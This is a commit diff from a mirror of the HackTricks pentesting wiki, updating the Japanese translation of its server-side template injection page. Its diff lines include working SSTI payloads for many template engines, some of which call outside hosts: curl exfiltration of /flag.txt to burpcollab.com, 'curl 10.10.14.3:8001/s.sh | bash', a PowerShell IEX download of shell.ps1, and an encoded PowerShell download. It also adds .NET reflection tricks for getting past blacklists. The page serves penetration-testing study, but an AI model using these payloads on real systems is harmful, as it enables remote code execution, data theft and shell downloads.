mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
869ac9537c
commit
e97b885c77
@ -6,7 +6,7 @@
|
||||
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
|
||||
|
||||
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
||||
Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
@ -16,18 +16,18 @@ output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
ペイロード `{{bad-stuff-here}}` は `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
|
||||
ペイロード `{{bad-stuff-here}}` が `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
|
||||
|
||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証を実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
||||
|
||||
### 検出
|
||||
|
||||
サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:
|
||||
|
||||
- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが明らかになる可能性があります。
|
||||
- 脆弱性を明らかにし、テンプレートエンジンを示すエラーが発生する。
|
||||
- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
|
||||
- **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
|
||||
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかです。
|
||||
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します。
|
||||
|
||||
#### 識別フェーズ
|
||||
|
||||
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
新しいポリグロットを利用した効率的な SSTI + CSTI スキャナーです。
|
||||
効率的な SSTI + CSTI スキャナーで、新しいポリグロットを利用しています。
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -169,17 +169,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文が使用されます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。しかし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||
|
||||
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
|
||||
|
||||
Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます:
|
||||
Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントに示されているように、式の構築に利用できます:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Thymeleafにおける脆弱性の例**
|
||||
|
||||
次のコードスニペットは、悪用される可能性があります:
|
||||
以下のコードスニペットは、悪用される可能性があります:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
@ -261,7 +261,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
新しいバージョンのPebble:
|
||||
新しいバージョンの Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -310,7 +310,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
- `{% %}` ステートメントデリミタ
|
||||
- `{{ }}` 表現デリミタ
|
||||
- `{{ }}` 式デリミタ
|
||||
- `{# #}` コメントデリミタ
|
||||
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
@ -319,7 +319,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[JinjavaプロジェクトをGithubで発見](https://github.com/HubSpot/jinjava/)。
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[JinjavaプロジェクトをGithubで発見しました](https://github.com/HubSpot/jinjava/)。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -374,7 +374,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
|
||||
|
||||
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
|
||||
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドするためにELを使用します。
|
||||
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
||||
|
||||
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
```
|
||||
**詳細情報**
|
||||
|
||||
- Smartyセクションは[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)にあります。
|
||||
- Smartyセクションの [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
PlatesはPHPにネイティブなテンプレーティングエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
|
||||
PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用し、PHP開発者にとって直感的です。
|
||||
|
||||
Controller:
|
||||
```php
|
||||
@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
||||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
ページテンプレート:
|
||||
ページテンプレート:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
@ -591,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
@ -671,7 +671,7 @@ URLencoded:
|
||||
| | 出力を評価してレンダリングする |
|
||||
| | HTMLエンコードされた出力を評価してレンダリングする |
|
||||
| | コメント |
|
||||
| そして | コードを許可する(デフォルトで無効) |
|
||||
| and | コードを許可する(デフォルトでは無効) |
|
||||
|
||||
- \= 49
|
||||
|
||||
@ -693,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**例のサーバーサイドレンダリング**
|
||||
**例 サーバーサイドレンダリング**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -856,7 +856,7 @@ range.constructor(
|
||||
|
||||
|
||||
```
|
||||
[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません:
|
||||
[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しない:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
@ -897,14 +897,14 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= 成功`
|
||||
- `@() <= 成功`
|
||||
- `@("{{code}}") <= 成功`
|
||||
- `@ <= 成功`
|
||||
- `@{} <= エラー!`
|
||||
- `@{ <= エラー!`
|
||||
- `@(2+2) <= Success`
|
||||
- `@() <= Success`
|
||||
- `@("{{code}}") <= Success`
|
||||
- `@ <=Success`
|
||||
- `@{} <= ERROR!`
|
||||
- `@{ <= ERRROR!`
|
||||
- `@(1+2)`
|
||||
- `@( //C#コード )`
|
||||
- `@( //C#Code )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
@ -919,7 +919,7 @@ ${x}
|
||||
|
||||
- `<%= 7*7 %>` = 49
|
||||
- `<%= "foo" %>` = foo
|
||||
- `<%= foo %>` = 何も表示されません
|
||||
- `<%= foo %>` = Nothing
|
||||
- `<%= response.write(date()) %>` = \<Date>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
@ -928,6 +928,23 @@ ${x}
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net 制限の回避
|
||||
|
||||
.NET Reflection メカニズムを使用して、ブラックリストを回避したり、アセンブリにクラスが存在しない場合を処理できます。DLLは、基本オブジェクトからアクセス可能なメソッドとプロパティを使用して、実行時にロードできます。
|
||||
|
||||
DLLは次のようにロードできます:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - ファイルシステムから。
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - リクエストから直接。
|
||||
|
||||
完全なコマンド実行:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**詳細情報**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Perlであっても、RubyのERBのようなタグを使用します。
|
||||
@ -942,15 +959,15 @@ Perlであっても、RubyのERBのようなタグを使用します。
|
||||
|
||||
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます:
|
||||
|
||||
- `{{ . }}`: データ構造の入力を表示します。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
|
||||
- `{{ . }}`: データ構造の入力を明らかにします。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
|
||||
- `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template)。
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`になります)。それでも、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -972,7 +989,7 @@ return string(out)
|
||||
|
||||
### さらなるエクスプロイト
|
||||
|
||||
さらなるエクスプロイトについては、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報も見つけることができます。
|
||||
さらなるエクスプロイトについては、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報を見つけることができます。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
@ -982,7 +999,7 @@ EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
|
||||
## 関連ヘルプ
|
||||
|
||||
役立つと思う場合は、以下をお読みください:
|
||||
役立つと思われる場合は、以下をお読みください:
|
||||
|
||||
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user